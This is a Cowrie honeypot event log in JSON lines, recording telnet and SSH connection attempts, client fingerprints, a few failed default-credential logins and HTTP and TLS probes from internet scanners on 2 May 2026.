{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47238,"dst_ip":"10.17.0.5","dst_port":23,"session":"806a395f1173","protocol":"telnet","message":"New connection: 104.245.105.2:47238 (10.17.0.5:23) [session: 806a395f1173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:29:17.557198Z"}
{"eventid":"cowrie.session.closed","duration":31.92031455039978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:29:28.141833Z","src_ip":"104.245.105.2","session":"ef2f346f739b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67302966117859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:29:29.747595Z","src_ip":"104.245.105.2","session":"2c99748c391f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.507121086120605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:29:46.926618Z","src_ip":"104.245.105.2","session":"eee30151d443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914072036743164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:29:47.799405Z","src_ip":"104.245.105.2","session":"9e7c36656cf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88382840156555,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:29:51.440932Z","src_ip":"104.245.105.2","session":"806a395f1173","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42974,"dst_ip":"10.17.0.5","dst_port":23,"session":"a58981427aa7","protocol":"telnet","message":"New connection: 104.245.105.2:42974 (10.17.0.5:23) [session: a58981427aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:30:33.256779Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.5.251.84","src_port":47438,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c41a96f5e27","protocol":"telnet","message":"New connection: 139.5.251.84:47438 (159.203.135.109:23) [session: 9c41a96f5e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:30:45.825332Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":55034,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ccec612d760","protocol":"ssh","message":"New connection: 2.57.122.238:55034 (10.17.0.5:22) [session: 4ccec612d760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:30:50.857336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:30:50.863186Z","src_ip":"2.57.122.238","session":"4ccec612d760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:30:50.963455Z","src_ip":"2.57.122.238","session":"4ccec612d760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:30:51.262158Z","src_ip":"2.57.122.238","session":"4ccec612d760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:30:52.363640Z","src_ip":"2.57.122.238","session":"4ccec612d760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.50520634651184,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:30:59.330388Z","src_ip":"139.5.251.84","session":"9c41a96f5e27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69078493118286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:31:04.947439Z","src_ip":"104.245.105.2","session":"a58981427aa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.228.53.136","src_port":37328,"dst_ip":"10.17.0.5","dst_port":22,"session":"a966e6d78484","protocol":"ssh","message":"New connection: 66.228.53.136:37328 (10.17.0.5:22) [session: a966e6d78484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:31:37.762051Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:31:37.767083Z","src_ip":"66.228.53.136","session":"a966e6d78484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:31:37.771083Z","src_ip":"66.228.53.136","session":"a966e6d78484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.228.53.136","src_port":37332,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a1ea881a36c","protocol":"ssh","message":"New connection: 66.228.53.136:37332 (10.17.0.5:22) [session: 4a1ea881a36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:31:37.855817Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0003^J$\\x8f[#\\xea\\x89\u0014\\xff\\xfd\\xe0L\u07e7(\\xdf\\xe7\u0010{\\xfbU\\xb9\\xb0\\xf8/\\xb9\u001e)\\xc3\\xe9\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0003^J$\\x8f[#\\xea\\x89\u0014\\xff\\xfd\\xe0L\u07e7(\\xdf\\xe7\u0010{\\xfbU\\xb9\\xb0\\xf8/\\xb9\u001e)\\xc3\\xe9\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:31:37.860935Z","src_ip":"66.228.53.136","session":"4a1ea881a36c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:31:37.865084Z","src_ip":"66.228.53.136","session":"4a1ea881a36c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60302,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48caae3c64f","protocol":"telnet","message":"New connection: 104.245.105.2:60302 (10.17.0.5:23) [session: d48caae3c64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:31:39.678786Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47198,"dst_ip":"10.17.0.5","dst_port":23,"session":"71297d05770a","protocol":"telnet","message":"New connection: 104.245.105.2:47198 (10.17.0.5:23) [session: 71297d05770a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:32:02.313635Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47212,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b664d8cff8e","protocol":"telnet","message":"New connection: 104.245.105.2:47212 (10.17.0.5:23) [session: 7b664d8cff8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:32:08.523308Z"}
{"eventid":"cowrie.session.closed","duration":33.073697090148926,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:32:12.752324Z","src_ip":"104.245.105.2","session":"d48caae3c64f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.0234489440918,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:32:37.336962Z","src_ip":"104.245.105.2","session":"71297d05770a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.35483193397522,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:32:44.878015Z","src_ip":"104.245.105.2","session":"7b664d8cff8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":48516,"dst_ip":"10.17.0.5","dst_port":22,"session":"676296354680","protocol":"ssh","message":"New connection: 2.57.122.238:48516 (10.17.0.5:22) [session: 676296354680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:33:07.062907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:33:07.067312Z","src_ip":"2.57.122.238","session":"676296354680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:33:07.166299Z","src_ip":"2.57.122.238","session":"676296354680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:33:07.464916Z","src_ip":"2.57.122.238","session":"676296354680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:33:08.566926Z","src_ip":"2.57.122.238","session":"676296354680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47270,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aac9b5540aa","protocol":"telnet","message":"New connection: 104.245.105.2:47270 (10.17.0.5:23) [session: 9aac9b5540aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:33:25.039343Z"}
{"eventid":"cowrie.session.closed","duration":31.78137493133545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:33:56.820590Z","src_ip":"104.245.105.2","session":"9aac9b5540aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":30572,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b3fe1a40d64","protocol":"telnet","message":"New connection: 34.78.238.2:30572 (159.203.135.109:23) [session: 8b3fe1a40d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:02.479573Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":30576,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c00c73885e4","protocol":"telnet","message":"New connection: 34.78.238.2:30576 (159.203.135.109:23) [session: 3c00c73885e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:02.639148Z"}
{"eventid":"cowrie.session.closed","duration":0.0064239501953125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:02.645418Z","src_ip":"34.78.238.2","session":"3c00c73885e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":30592,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4b5b65773b9","protocol":"telnet","message":"New connection: 34.78.238.2:30592 (159.203.135.109:23) [session: d4b5b65773b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:02.795885Z"}
{"eventid":"cowrie.session.closed","duration":4.738176345825195,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:07.217636Z","src_ip":"34.78.238.2","session":"8b3fe1a40d64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5874,"dst_ip":"159.203.135.109","dst_port":23,"session":"64612ab164a3","protocol":"telnet","message":"New connection: 34.78.238.2:5874 (159.203.135.109:23) [session: 64612ab164a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:21.953309Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:21.961294Z","src_ip":"34.78.238.2","session":"64612ab164a3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:21.966379Z","src_ip":"34.78.238.2","session":"64612ab164a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09232282638549805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:22.045503Z","src_ip":"34.78.238.2","session":"64612ab164a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5884,"dst_ip":"159.203.135.109","dst_port":23,"session":"749cc06210f0","protocol":"telnet","message":"New connection: 34.78.238.2:5884 (159.203.135.109:23) [session: 749cc06210f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:22.120105Z"}
{"eventid":"cowrie.session.closed","duration":0.008289813995361328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:22.128260Z","src_ip":"34.78.238.2","session":"749cc06210f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5898,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a49164c6ca2","protocol":"telnet","message":"New connection: 34.78.238.2:5898 (159.203.135.109:23) [session: 8a49164c6ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:22.277774Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5906,"dst_ip":"159.203.135.109","dst_port":23,"session":"272f604412d5","protocol":"telnet","message":"New connection: 34.78.238.2:5906 (159.203.135.109:23) [session: 272f604412d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:22.434550Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5914,"dst_ip":"159.203.135.109","dst_port":23,"session":"4352be812025","protocol":"telnet","message":"New connection: 34.78.238.2:5914 (159.203.135.109:23) [session: 4352be812025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:22.588431Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5928,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ed891904351","protocol":"telnet","message":"New connection: 34.78.238.2:5928 (159.203.135.109:23) [session: 1ed891904351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:22.745503Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5938,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a94f97c8899","protocol":"telnet","message":"New connection: 34.78.238.2:5938 (159.203.135.109:23) [session: 4a94f97c8899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:22.901131Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5952,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ddcbdb44898","protocol":"telnet","message":"New connection: 34.78.238.2:5952 (159.203.135.109:23) [session: 5ddcbdb44898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.062717Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5956,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c44c309e223","protocol":"telnet","message":"New connection: 34.78.238.2:5956 (159.203.135.109:23) [session: 0c44c309e223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.216858Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5958,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3be7e33eb7f","protocol":"telnet","message":"New connection: 34.78.238.2:5958 (159.203.135.109:23) [session: c3be7e33eb7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.370014Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5970,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ef75a767af7","protocol":"telnet","message":"New connection: 34.78.238.2:5970 (159.203.135.109:23) [session: 9ef75a767af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.603025Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5986,"dst_ip":"159.203.135.109","dst_port":23,"session":"0248de919f0b","protocol":"telnet","message":"New connection: 34.78.238.2:5986 (159.203.135.109:23) [session: 0248de919f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.758627Z"}
{"eventid":"cowrie.session.closed","duration":0.006077289581298828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.764578Z","src_ip":"34.78.238.2","session":"0248de919f0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7482554912567139,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.810853Z","src_ip":"34.78.238.2","session":"5ddcbdb44898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.2132115364074707,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.816102Z","src_ip":"34.78.238.2","session":"9ef75a767af7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.6271083354949951,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.843864Z","src_ip":"34.78.238.2","session":"0c44c309e223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.48050546646118164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.850415Z","src_ip":"34.78.238.2","session":"c3be7e33eb7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.266228199005127,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.854467Z","src_ip":"34.78.238.2","session":"4352be812025","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9593229293823242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.860331Z","src_ip":"34.78.238.2","session":"4a94f97c8899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.1200246810913086,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.865389Z","src_ip":"34.78.238.2","session":"1ed891904351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5915040969848633,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.869172Z","src_ip":"34.78.238.2","session":"8a49164c6ca2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4382686614990234,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.872494Z","src_ip":"34.78.238.2","session":"272f604412d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.08512568473816,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.880868Z","src_ip":"34.78.238.2","session":"d4b5b65773b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":5996,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fd752da85c4","protocol":"telnet","message":"New connection: 34.78.238.2:5996 (159.203.135.109:23) [session: 5fd752da85c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:23.916440Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6002,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd12dda5e163","protocol":"telnet","message":"New connection: 34.78.238.2:6002 (159.203.135.109:23) [session: cd12dda5e163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:24.071199Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6016,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcc5294ff721","protocol":"telnet","message":"New connection: 34.78.238.2:6016 (159.203.135.109:23) [session: fcc5294ff721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:24.225250Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6020,"dst_ip":"159.203.135.109","dst_port":23,"session":"d57233a25922","protocol":"telnet","message":"New connection: 34.78.238.2:6020 (159.203.135.109:23) [session: d57233a25922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:24.382419Z"}
